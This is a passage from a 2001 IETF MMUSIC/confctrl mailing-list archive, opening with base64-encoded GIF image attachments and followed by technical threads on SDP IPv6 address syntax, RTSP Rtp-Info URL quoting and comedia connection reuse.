PSU7sDJO!
4Knh3ed6v2nMmettTgM+7ijvsc6ZDuOsOlzxQW+8Xbtc8YPbe/JZ3zdNL8/25TJXv0x1NpMvdfGp1mvhHO/ATIfcFaC3nbFEf3x/O9b6ARf+7gY26s8RmPlrav4sujcivFwvw5VzvOe0B7nXvy511dfEp8vv39kZfhGQxrX0mTZv/9H5y+QWPkF/STI0Q+DbFLSvrCKEQ/BWR0AZkeOa4iYHtSA2IAc5mKAHBVVKgvUUM2ABUPB+OdABZ4AHNTAzqUI+BcBDIpAFWXAuJVAEi3V63zYpMcA2f9A88NID/bcOcsADrIMFRmACJpAAM+AAM8AsS6BMDFADZ5AHSmAwN5gHYRAECvMwkcACKRAJuZACJlE8x1cW4JY8JgdmPcAUOOA6K8ADp3AK6YAFbIAFWHgGWLADRnAYHlCDtUAIeDCGhEAIHhAG2FALhrCG3aAJGJMFt+cl4icAElABFRBBYDYBSZQkPMAQyrKCzyIw69QBO3AGBSMwB+MyBXMDHsACPv+gAxT4AfQ3fV5yNpZ4iSGgEphoiThBAxdAAxxQAYqwey4wQZoSbGwlWNcGAjPQFC44iOxUbPIRPuBzOIdDPjqQi7qoAyLQi774i7v4i8I4jCIAA8Z4jDBwAiUwijZxYi7kQpqScw7hYp51BXaABNh4hQCDglw4MIiIMODYiCwwjuRIjppQjuiIjhizjuzYjux4h5ElFNCIARplRgRWLKvGPbETizkQPgxgizNjOLlYALpIjL2ICAjJASIANAvJkEWAjMbIBBLJBMg4kV0AAxTZBRszF6VYikJgB17QA5tyRnwSKleRUOt2WKtCEskWh7cWAmYTAjQwkzSANgIgk2j/EwJv8yO710JC4AaogApmAAgNQAEkKSoz5X3tlliUWDyYQQNbsAtEUJObwQEnAAM6eRNdUAFdoCt0gUQ/uQ3c4AZEiXUlqWEKdVRM2ZRC11yaRwNisAvPsAU0EAA1wQQn4AMwo!
CYhkAEYswgx4ASdAwFCIAlv8AZ2QHiC9BQ8N3u0t5YAJ3N+B5erAAsvUAQAIAEAwAQ38AIiMARvEQIpoAgpgAtdIBA+aQZvMAhL81KLeZaAEihY9lAZyGDLQQOVAAuOAAZEwBM0wAiY4AE6cAIhEANdoArmgA64wAESJjducJhCoJhVxZixuTXHlmWL15Z+ZzY0QASVsAd7QAZboyABnmAN4OABPnACHCAAQ0ALqpAIGcCcneMCoTAMbhA9vsdW1Al9BoRaVaQo/dF4ZUMDRUAF4gAGYkADEjAO0zALZHAtxbkItJAIifAHF+AuEOACPRAKnCAEU+UQnsKYLcdG7lZ8belYNGAAFCgpDmQJGcAIcJACb3MBlnAJFyAB9JZiMCRgzbcnjFl5soklJeqSRxgTMAmTA1eT65k8OCEAAQEAOw==
--======Q0RtYWlsNTA3OQ========
Content-Type: application/octet-stream; name="С½çÃæ.GIF"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="С½çÃæ.GIF"

R0lGODdhZABQAP8AAGf66Gn+9Hb9+GzryGv02XXLeG7muXLYl4P9+nTGaGzwzXe7R3HktnDhq3TShnHbpWrXt3b26VXPs3e7VWvr023r4YP47XTnyHXBW27hq3fJhli1bnPYt17Ae3Hy2FXbxXPp1WfHqorNVUe8mFnFkmva0nTZxWm5q23bp3e4Z2bYyFW0qpH4/T/FqmjJtnbQfVq4m1aomnW4dIW4W4zQV2nLxGm1anXJtWrJiWa4dXfp4orVh3mnSXiqWUq4iIPYlXapZYS3ZYbIdHGxipHTWnXKlYTHiGmWb1e8hmimd0qjmFjgzIS0R2jFeXPPx0ymXYDRwoOpZWeqZzeHeXLHplGYiYmVR3aaVmqoVoTDaouXkrbLiHaaRm3Xm4jn54To2WrQj5a2aYR6OEaDgYWFSJOds5SvXnaKNYa4dnimcy5zc4jLyJGusHF5SIepTVaQT5Px6oPKtoh8QoPY1nXX02vGmF2HP46ni5W2dGuhS6HCfUeal66wcqabcZDVimy+yXZ2NVGOdZDAwD12UHXK5oqeVypXV5GPHqfFxUN5c2GSg6O5rpTn7m2YWcnRp1iUoonIrdLqrDykndThnGiLlaW0kI/ReYPw3YWnWpbk24SIWVR3WUx2ZGuXRYbq+pTq+YOuPXN4J2d8M5J1PYd6VZaVVaqsVoPITqHr9XWJSWKMSpjKgjpbekuWiGqEg1BQbZnayeH2tY2ccXRyl1yGnMjRmYXDmjeLiW6UrFSvjk6jjIe80ZHS0XDxzkZoZ3HgnpOARdjMZgxVjCt0oXbJ+33B2Il6oVZkiZOfYaKUK3xsLpmLZBVMCCl1mYaOMamuOkZ4O0iHkJfYYlF9Yj0+XXHY6WhxcE+ex5KMdpLZ65POVonuzHV8ao+RaYV/aZGOV0N2TavDtJHIs2zE2kB1W5qneTmLupPHdltuUE5QT9PlzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAZABQAAAI/wClnVqwYMIMM2ZmZEmQoIBDhy8caDDy48eBij8eaGzAkQEDAyBBDhg5QIHJkyYJqFxZoQKAlzBjAghAs6bNmwJyWsi0JhMLBEB/IiBCcIEbN1YK8ZiRomEBDRocQpUhw8GPIjgOaHzAscHHkCFJlkSZcuVKmC5lvrzJ1mbOCHQUcYoBJ2g1TyyIMkEqRxkgUVyCZBFCWAgaIGhkAJGioYiMJDi2dvX6VSRJsijNEkirNmbbzzqrcMO2Kc5PT+YIfaKx14qYUaPkkCmEKUqYKLivRDmM2AhVGUU2dvVY2YDYsZg1x+Qs83PbnCYGaVqGbogFFsSENSMkgolrMXKAif8p5VpOKTJkNF1BgycKECO+IWvl6pVy8eOYy7IE4LJl55nOuWXBFG+IksomMbDAwjXDjMNCd2eIYcWEgJxxBiCytdFGKus10ogME0mRQxHzTUZcWMchd5JmBPDXX2cBsiWABSE8oYodgcDxk2oKasNEKKFwwUMPPeRBZA9BAAFECjIUYAOIRTiAAxgHzMcVA/aBlWJyyvXHHEwx4jTjBblM8YVQCirYHRdn8DABBnAy5NRTT2ngwJ1VVrkVfcMVZ1yKHvTigQcEDEqoSi+15J9aYeb0lgWQAiUpUCIUNcGbGMjpFFQR3empA1V20UWVKGyFQgMZNGDAiVr+meJIFCj/EKt+yv0XAX8R5GpBrrpaIMCkNFgap6YPFfBCpwV0oOyyHeDQAQnQRitttBJUa+212F77wbbcduvtt98uocK4KpTggQWSVkrQBFgAEQSxD3laQA5P1PvEBvdusIEP/Pbr778jBCzwwAQXLHALCCes8MIKS9CCtS2MoAK6lK7bQyN4pIEFvPEWsEEOGuAw5QFgiNoFCihncGqqGWRA3Ed+gmUZrBTUbHPNKinAonKD8porCN!
VSPBRBMwBRyR1tqNKUnHVG5HEToJLacqqUcfCyRxdkrfXWWYMAwgBeD4rocv8BKKOjaFsAgQRCB7sAD+U44k0bdszQkCVC7KC33g6A/2yRViFUCwEELTMweGUmQJC44i5w4HjiJmRdLgjmeln2Ws6hnfbaQhP19jd9kNJGDwxlgQUWT/6WgxQbNNHsAyHAIDsM1ZIQOwS2wxBC7Ce4YIILu58gPAcuDH5BCeby9x9NmAeouU6Dd04QD2T0AcgVdjPEZLHzfhwyqYOHcDgEhi8OgeOOG2DC+lC0D8UFkV/gdfKXgxnj8wJEEL2kbr/NRSdBWNqmoHInj3UgalrhSKquRpytvcprIDCU2Fq0qLIFwGzPeZ7+ICA0dS1gBj24FMcg4gADInA+p+rTVz6yJZOUZGebqZ/9MqfB/VVsXZjKFNMg4rQNHDBPKKSaV/9kNjP80OosypOh82rIwXRZ6lI6ZEixjlVCHwJRTyhoGUeIWESxzEpntZJh8zKoOf2xzYlEm0EUArhDY72gAFX8IRCF0xGwfOVVslpRGL+0PNAwsYPrCkIkIqEHNg5QAz2UY4k6YjUTNFBrAyjBSCAIQQn2zAO8gkmuAOCzTvpMADXB3wYB+bYtxGISsTiHDRIgBLztTW9GeEpFtCI7FxQPAiFwwQlqkDgX1OCX64OACkxAOROUoAbIK1cNykWHL6hAB9A85rhKoINfIvMLdHCCNp1AhwhUAH9vGdyvbriAK2xhElvoRFOEEIQepIB7VAlZZGIXAyXIbgUnWMEKXKD/BH3qUwL7DKg+hafPZdbAn/pUATKR54JnlsAFTqiBBL7wy4iewAk6+CY4NzhOBHiQBzxwAxeYwhAbmDQHTUgpvjYgsi48AAWxs93ucBkCAwzOlsIUZrlUoFNylSuZ5EJezYQaAQqUYKgVoEAFoKkDagIAlKIUJ/9wCNIeRJF7BbRinjaCPsddzYEkoWQEB0WBCd5KjM3LX05!
oElUIdNSDUBzWnBySVUXOh2V1XKGrSEKBAdjsUGZB6wzJiLZRohGHcp1rXU/40iyyzGWrQtGWvsii+l3wskssI+emitgozhWOcWTsS7WIKpBU5lWXOWKL0Hq/Gp4RKP3rwQxmi4Gl/3EPjiaco0amtsXISvY4NdNjYFlLQ82+1qNEC4Mj9BCGLOhQKiTMrZ7o2BGPrIqFqKVsGGF0wcGeTbNuRSMTtlCLLWwhISkYTJ3sVEWobfV8joMvcUxgAPjFbwDw6xoE5TdBy3oms4Xd7A2ZYAo+8GESYWAKYbKwCj842A87gM8sYRcDfOozl8ATngtuILwT3OAGThAeiKHghBvEIQ5QAMHYLNic4gZYAh11GyieEQxTbCHBTclDHoBgUpNK4Qkiel0IYlDPCu+OnjEIwQmIfILYcVjETxZeCFQcQ+K62FFmjDFBQHGIZDgjIRhYyKag+zEEPmBw4ZPv+ta8Pq65Of9xFEAUHy145XCGd8CHOMQZzHDVhyBLq1vd7QKv1kXgljWCchYsBr8b4DsjoH9MGBKm2gha6U43hXnVEh6DC8bhWpmwWF6bljvb53iFVrejVSARjagAv6p2tZ9mdKgd7cGCwEmAij11oLPYFd8WGiWx8kCnkRhrMYH3rU+cQAqWTelEmlk4WCI0A1A7yUENu8rFdgsTkb2uGWDCDFcgHUOEsN72ItBxDUAfcaz2SPyOJGvVVq2i6xzO46rLIKtg7hXeVQBXvvIHssyT7IIHAw6cr3GOC0FX18wBKEQOBLGqrGDpnT8BI3cBPdBDJPrABzws7XQ9lkEObMA610UmF3v/qKcSkgwDIhM5di1v+ZNhMAQYQMDVEs92KF0rvbfhoRZkQIYdlrZseIpIA1SCXS6XfoMMh+AGHPiw1KEQ9RNT4eYguDasxQjgUMMYjRPgQiH4wIU82FYqUIlKDhRJn65yYH1fhaQDg5tzrtM7y5zFOA/aVOqoLPaK1LWuzFCb!
me0q8e4W79+lREhpulp6uqiq46pfxem6Hx7UXidlQaA4wmL5ULQpQ1UGuJjdWVnesoj/OjkXL9cp4vbzukWZAlU1eUMLl9h296Nxub15OJWarrqeLp8k79vSy1vnOzeu5m3d+mL9faul6gpkaw/c268495ivuL2f6PvGv96ukon8/xAHT3nrb/3y2Tdj27jvWawG30qToT3MCs3X4yN/oxaHK+e9//4SUW2BvkZ4pmd4qKd7L8Z7caUpn9V/LxV5LjN/v3UZlUeAl9N19bZ+pNZsz7drpEUZmpYiE+hp2CdrF3hYrNd533dCWrEy1SV49OdXpjds85Z6msd67WdqjxdECzR690F5A0iBfWSAmWeCCbhDb7SBWCREMNODIGh+MyiEJQgUntN7zWcslQZ7uqWErPJrrnZESTSC2vZHeWeDjYeEkkE1LxOBXvSDuId+JKh9NThp/Pd44ddrAWh8XjhxiNdE5GRrKfAGq7SA7/dSXEFa1Fd99geGyad8YPcmQf9gB8yABdwTFSkYaFTAAV3BbhDobmFFSREHhEGYfolHNFGQBrJwBNDQFGiXdkWgAShVBH9DBWOgBieAPuvDAfXFNRDkS/uUTypwe08oisflNkFwB3egBVqQBjKQAI8xBFABH0bgikNQBCTyACegBmMQAycwcCHQCkoQPhJwUL24ByugBJJgjiowQfsxZy22h+s3AUCgBWUwj0fQJDYADtNwBPqYBPy4j0kQHDEwBmOQCGowBQY5BgbpAiswBbewB2qgBrcwBWogCf4kAWUFWCqhKHzUXYuGEwHQVhjYA/JYBlpQjw7Bj0OQkip5BEmQkiVTBYlQBVXQCjIpk7qgCzf/AAMrV2Q7GQI1YEsqMACGogCGInGLUkEykT+f1Gg9VzR3kAZHcHZp1xitmAM5IDJggAN1MAR10JV1QAVgGZYcsDtNF1/j44IgAQEyI0k/JUmRNBJCdTNyWTNhMygXIAF8ODQFE!
QTu8S5S5GedogH1oi+EiQQbgASImZiKOS3SMgIk4JgGQzARwzAPky2WaZkSg4FkqIF34jrMoiwk8CyMKS2XWZrgcprgsgQfsASs2Zqs6ZYqQAERMCn3lgI2wCQo+CkqeAAo05ssQ3op0gv5sTMaqShq4TOa5CvK6SjXIRTqYgOK4AuGMAhSUIafAniBh5aEV3hIVJzcxTwRAAIc/7ANERBKOkAHXrArOYEAOjAHjIAungMEY8AKhmAI1UlpuomdmKYqTMhqx/ci31kTEcABtmALX2ABHykAOiAIgjAHvoIALPAHj/AH6fmcikAJbBCVnXedsTcZvrZXYsGdw2WcjHITAHAJkFAJsiAOX+AoXsAGi9CgCsIIuFAGuPAIjEAUE2ADgUAJiJAGuOZ8nnJFKKRCHzgSrfZF15YobhgBKNoNpBAOsKADM8IL1qAFiLAG15ENtGAMs0ALqKAuQdCjPxqkQoon2Cl9foJHIrpaaYGU/xVKIAALjtAHlQAJOmABvOAK6aAFbLAGCrILxzALr7ALqOA5KUAOicAJb5WwjH9pakOapl7xgEeaWk74haFIEzoABYugDotwAhFgAWvgC67ABn96HcXACtTwCicAB/f2BoMAiAo4RZGKnf+nnS3khP4BoO1YE5w0BzdQAy0aAV6wByfwB3+wAujCAnMQDY/gBSwwEAWxbLg2J8fSKbv5Cw/AMmkYgcMpgxqJqd7FVksJKRbgBV6gA7MJoXAAB+gSEAA7
--======Q0RtYWlsNTA3OQ========--


From confctrl-owner  Wed Dec 12 09:36:32 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA26780
	for confctrl-outgoing; Wed, 12 Dec 2001 09:36:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA26775
	for <confctrl@zephyr.isi.edu>; Wed, 12 Dec 2001 09:36:31 -0800 (PST)
Received: from mailrelay.sony.de (kramer.fb.sony.de [192.109.206.51])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBCHbFg29497;
	Wed, 12 Dec 2001 09:37:15 -0800 (PST)
Received: from blackbox.fb.sony.de  (thanks for all the fish)
	by mailrelay.sony.de (8.8.8/8.8.5) with ESMTP id SAA28425;
	Wed, 12 Dec 2001 18:37:07 +0100
Received: by blackbox.fb.sony.de with Internet Mail Service (5.5.2653.19)
	id <XXQYAZ32>; Wed, 12 Dec 2001 18:37:07 +0100
Message-ID: <B0793DB946E52942A49C1E8152A1358C0CBBD7@leo.wins.fb.sony.de>
From: "Mandato, Davide" <mandato@sony.de>
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        mmusic
	 <confctrl@ISI.EDU>
Cc: "Sean Olson (EUS)" <sean.olson@ericsson.com>,
        Colin Perkins
	 <csp@ISI.EDU>, Joerg Ott <jo@tzi.uni-bremen.de>
Subject: RE: draft-olson-sdp-ipv6-02.txt
Date: Wed, 12 Dec 2001 18:36:49 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear all

we have got the impression that there are a couple of typos in 
the ABNF Syntax and in the Example sections of this draft.

ABNF Syntax:

hexpart =	hexseq | hexseq "::" [hexseq] | "::" [hexseq]
hexseq =    hex4 *(":" hex4)

we think this should look like the following:

hexpart =	[hex4 n*(":" hex4)] "::" [hex4 m*(":" hex4)] 
            ; 0 <= n <= 6
            ; m = 6 - n - j
            ; 0 <= j <= 6 - n 
            ; n = 0 when term hex4 n*(":" hex4) does not appear            

Example:

u=http://[FFFF::10.2.12.126]/marsII

if you meant the use of "IPv4-mapped IPv6 address", then the 
correct address should be the one indicated below:

u=http://[::FFFF:10.2.12.126]/marsII

Hope this can help.

Kind Regards,

Davide Mandato,
Oliver Kramer
Sony International (Europe) GmbH
_______________________________________________________________
        
 Davide Mandato

 Principal Engineer

 Sony International (Europe) GmbH 
 Advanced Technology Center Stuttgart      
 Telecommunication R&D Europe (TRDE)  

 Heinrich-Hertz-Str. 1           <http://www.sony-europe.com/>
 70327 Stuttgart, Germany        <http://www.sony.de>

 Tel:       +49-(0)711-5858-797
 Fax:	      +49-(0)711-5858-468
 E-mail:    <mailto:mandato@sony.de>
______________________________________________________________

--> -----Original Message-----
--> From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
--> Sent: Tuesday, December 11, 2001 9:46 PM
--> To: mmusic
--> Cc: Sean Olson (EUS); Colin Perkins; Joerg Ott
--> Subject: draft-olson-sdp-ipv6-02.txt
--> 
--> 
--> Hello,
--> 
--> sorry for the confusion with the version number of the 
--> draft. It seems
--> that version 02 was not stored in the archives for some reason, and
--> version 03 was rejected.
--> 
--> Anyway, the latest version of the draft is now 02 and it 
--> can be fetched
--> from:
--> 
--> http://standards.ericsson.net/gonzalo/papers/draft-olson-sdp
--> -ipv6-02.txt
--> 
--> After the IETF it will appear properly in the archives.
--> 
--> Best regards,
--> 
--> Gonzalo
--> -- 
--> Gonzalo Camarillo                    Phone :   +1 212 939 71 71
--> Columbia University                  Mobile:  +358 40 702 35 35
--> 472 Computer Science Building        Fax   :  +358  9 299 30 52
--> 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
--> New York, NY 10027                   
--> USA                              Gonzalo.Camarillo@ericsson.com
--> 

From confctrl-owner  Wed Dec 12 11:00:24 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA29994
	for confctrl-outgoing; Wed, 12 Dec 2001 11:00:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA29989
	for <confctrl@zephyr.isi.edu>; Wed, 12 Dec 2001 11:00:22 -0800 (PST)
Received: from mailrelay.sony.de (kramer.fb.sony.de [192.109.206.51])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBCJ15g10710;
	Wed, 12 Dec 2001 11:01:06 -0800 (PST)
Received: from blackbox.fb.sony.de  (thanks for all the fish)
	by mailrelay.sony.de (8.8.8/8.8.5) with ESMTP id UAA28583;
	Wed, 12 Dec 2001 20:00:59 +0100
Received: by blackbox.fb.sony.de with Internet Mail Service (5.5.2653.19)
	id <XXQYAZPH>; Wed, 12 Dec 2001 20:00:59 +0100
Message-ID: <B0793DB946E52942A49C1E8152A1358C0CBBD8@leo.wins.fb.sony.de>
From: "Mandato, Davide" <mandato@sony.de>
To: "''Gonzalo Camarillo' '" <Gonzalo.Camarillo@lmf.ericsson.se>,
        "'mmusic '"
	 <confctrl@ISI.EDU>
Cc: "'Sean Olson (EUS) '" <sean.olson@ericsson.com>,
        "'Colin Perkins '"
	 <csp@ISI.EDU>,
        "'Joerg Ott '" <jo@tzi.uni-bremen.de>
Subject: RE: draft-olson-sdp-ipv6-02.txt
Date: Wed, 12 Dec 2001 20:00:35 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear all

there is a term missing in the syntax we proposed.
The corrected syntax should be:

hexpart = hex4 7*(":" hex4) | [hex4 n*(":" hex4)] "::" [hex4 m*(":" hex4)] 
            ; 0 <= n <= 6
            ; m = 6 - n - j
            ; 0 <= j <= 6 - n 
            ; n = 0 when term hex4 n*(":" hex4) does not appear

Sorry about that.

Kind Regards,
Davide

-----Original Message-----
From: Mandato, Davide
To: 'Gonzalo Camarillo'; mmusic
Cc: Sean Olson (EUS); Colin Perkins; Joerg Ott
Sent: 12/12/01 6:36 PM
Subject: RE: draft-olson-sdp-ipv6-02.txt

Dear all

we have got the impression that there are a couple of typos in 
the ABNF Syntax and in the Example sections of this draft.

ABNF Syntax:

hexpart =	hexseq | hexseq "::" [hexseq] | "::" [hexseq]
hexseq =    hex4 *(":" hex4)

we think this should look like the following:

hexpart =	[hex4 n*(":" hex4)] "::" [hex4 m*(":" hex4)] 
            ; 0 <= n <= 6
            ; m = 6 - n - j
            ; 0 <= j <= 6 - n 
            ; n = 0 when term hex4 n*(":" hex4) does not appear


Example:

u=http://[FFFF::10.2.12.126]/marsII

if you meant the use of "IPv4-mapped IPv6 address", then the 
correct address should be the one indicated below:

u=http://[::FFFF:10.2.12.126]/marsII

Hope this can help.

Kind Regards,

Davide Mandato,
Oliver Kramer
Sony International (Europe) GmbH
_______________________________________________________________
        
 Davide Mandato

 Principal Engineer

 Sony International (Europe) GmbH 
 Advanced Technology Center Stuttgart      
 Telecommunication R&D Europe (TRDE)  

 Heinrich-Hertz-Str. 1           <http://www.sony-europe.com/>
 70327 Stuttgart, Germany        <http://www.sony.de>

 Tel:       +49-(0)711-5858-797
 Fax:	      +49-(0)711-5858-468
 E-mail:    <mailto:mandato@sony.de>
______________________________________________________________

--> -----Original Message-----
--> From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
--> Sent: Tuesday, December 11, 2001 9:46 PM
--> To: mmusic
--> Cc: Sean Olson (EUS); Colin Perkins; Joerg Ott
--> Subject: draft-olson-sdp-ipv6-02.txt
--> 
--> 
--> Hello,
--> 
--> sorry for the confusion with the version number of the 
--> draft. It seems
--> that version 02 was not stored in the archives for some reason, and
--> version 03 was rejected.
--> 
--> Anyway, the latest version of the draft is now 02 and it 
--> can be fetched
--> from:
--> 
--> http://standards.ericsson.net/gonzalo/papers/draft-olson-sdp
--> -ipv6-02.txt
--> 
--> After the IETF it will appear properly in the archives.
--> 
--> Best regards,
--> 
--> Gonzalo
--> -- 
--> Gonzalo Camarillo                    Phone :   +1 212 939 71 71
--> Columbia University                  Mobile:  +358 40 702 35 35
--> 472 Computer Science Building        Fax   :  +358  9 299 30 52
--> 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
--> New York, NY 10027                   
--> USA                              Gonzalo.Camarillo@ericsson.com
--> 

From confctrl-owner  Wed Dec 12 14:14:04 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA07236
	for confctrl-outgoing; Wed, 12 Dec 2001 14:14:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA07231
	for <confctrl@zephyr.isi.edu>; Wed, 12 Dec 2001 14:14:03 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBCMEng14087
	for <confctrl@isi.edu>; Wed, 12 Dec 2001 14:14:49 -0800 (PST)
Received: from usw-sf-web2-b.sourceforge.net ([10.3.1.6] helo=usw-sf-web2.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 16EHeK-0005cz-00; Wed, 12 Dec 2001 14:14:48 -0800
Received: from nobody by usw-sf-web2.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 16EHeK-00009a-00; Wed, 12 Dec 2001 14:14:48 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-448521 ] URLs in Rtp-Info need to be quoted
Message-Id: <E16EHeK-00009a-00@usw-sf-web2.sourceforge.net>
Date: Wed, 12 Dec 2001 14:14:48 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #448521, was opened at 2001-08-06 13:01
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=448521&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Anders Klemets (klemets)
Assigned to: Rob Lanphier (robla)
Summary: URLs in Rtp-Info need to be quoted

Initial Comment:
The Rtp-Info header contains URLs, but those URLs are 
not quoted, causing problems when the URLs contain 
semi-colon, equal signs and comma characters.

The best way to quote URLs are by using double-
quotes.  Using angle-brackets has also been proposed, 
but using double-quotes is more likely to be 
compatbile with existing implementations, because 
other RTSP/HTTP headers use double-quote characters 
in similar situations.
 

----------------------------------------------------------------------

>Comment By: Rob Lanphier (robla)
Date: 2001-12-12 14:14

Message:
Logged In: YES 
user_id=3796

add quotes only when sending problem characters (";", "=", ",", need to think further)

----------------------------------------------------------------------

Comment By: Rob Lanphier (robla)
Date: 2001-08-07 07:21

Message:
Logged In: YES 
user_id=3796

This is primarily to test if mail to confctrl is working

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=448521&group_id=23194

From confctrl-owner  Wed Dec 12 20:48:56 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id UAA22210
	for confctrl-outgoing; Wed, 12 Dec 2001 20:48:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA22205
	for <confctrl@zephyr.isi.edu>; Wed, 12 Dec 2001 20:48:55 -0800 (PST)
Received: from prognet.com ([205.219.198.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBD4nfg13596
	for <confctrl@isi.edu>; Wed, 12 Dec 2001 20:49:41 -0800 (PST)
Received: from goomoon.real.com (227-202-131-12.bellhead.com [12.131.202.227])
	by prognet.com (8.9.2/8.9.0) with ESMTP id UAA25567;
	Wed, 12 Dec 2001 20:49:47 -0800 (PST)
Message-Id: <5.1.0.14.2.20011212203605.03328be0@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Wed, 12 Dec 2001 20:50:00 -0800
To: mmusic@ietf.org, confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: "Rtspspec-bugs" -- more info
In-Reply-To: <E16ENPG-0004w1-00@usw-sf-list1.sourceforge.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

Assuming I have everything set up correctly, the RTSP specification bug 
emails are now being sent to the new MMUSIC list.  One improvement (I hope) 
is that the MMUSIC list is now only subscribed to the digest form of the 
list, meaning that there should only be one email a day with the 
issues.  That way, the issues still get logged to the official archive for 
the working group, but the number of automaton spam-looking email sent to 
this list will be at a minimum.

If you prefer to get email the instant something changes, you can still 
subscribe as an individual to the rtspspec-bugs list.

http://lists.sourceforge.net/lists/listinfo/rtspspec-bugs

Rob



From confctrl-owner  Thu Dec 13 05:04:09 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA09336
	for confctrl-outgoing; Thu, 13 Dec 2001 05:04:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA09331
	for <confctrl@zephyr.isi.edu>; Thu, 13 Dec 2001 05:04:08 -0800 (PST)
Received: from DNIDC02.Dialout.net ([206.183.139.198])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBDD4rg07893
	for <confctrl@ISI.EDU>; Thu, 13 Dec 2001 05:04:54 -0800 (PST)
Received: from dnimail.Dialout.net ([172.17.1.30]) by DNIDC02.Dialout.net with Microsoft SMTPSVC(5.0.2195.3779);
	 Thu, 13 Dec 2001 08:04:38 -0500
content-class: urn:content-classes:message
Subject: RE: Action items from MMUSIC meeting for comedia-01
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Date: Thu, 13 Dec 2001 08:03:52 -0500
Message-ID: <DCFB33B6D8BCC54B8219D8B90645866E13BDFF@dnimail.Dialout.net>
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Action items from MMUSIC meeting for comedia-01
Thread-Index: AcGCbkYupHXQs6iRTX2Q+nVZlinVCgBZqnZw
From: "David Yon" <Yon@Dialout.net>
To: "Paul Kyzivat" <pkyzivat@cisco.com>
Cc: "confctrl@isi.edu" <confctrl@ISI.EDU>
X-OriginalArrivalTime: 13 Dec 2001 13:04:38.0501 (UTC) FILETIME=[B8846950:01C183D6]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id FAA09332
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Inline

> > 
> > 3. There was one vote to eliminate "direction:reuse", with the
> > implicit assumption that endpoints are free to send new 
> media streams
> > over a connection that has already been established.  Any dissent?
> > Paul Kyzivat had provided the original motivation for its inclusion.
> > Paul: do you have any issues there?  If not, I will remove
> > direction:reuse and replace with wording that describes the
> > aforementioned assumption.
> 
> I don't know what "endpoints are free to send new media streams over a
> connection that has already been established" means. With comedia, the
> purpose of the sdp is to define how and when to establish a 
> connection.
> As far as I know, once that connection is established, it can be used
> for at most one media stream in each direction. (That may not quite be
> true for SCTP, but that has its own ID.)
> 

My implicit assumption is that a connection can carry the exact same
media that can be carried between two endpoints using UDP.  So for
example, it is my understanding (correct me if I'm wrong) that RTP can
carry two different types of streams (i.e., G.729 audio, H.261 video) to
the same UDP port without the endpoint getting confused.  In theory, the
same should be possible in an RTP-over-TCP scenario.

> The fundamental issue is that after having handed out some SDP
> containing a comedia based media description, I must be prepared to
> accept a connection on the specified port for some period of time. But
> it is important to be able to bound that period of time. For instance,
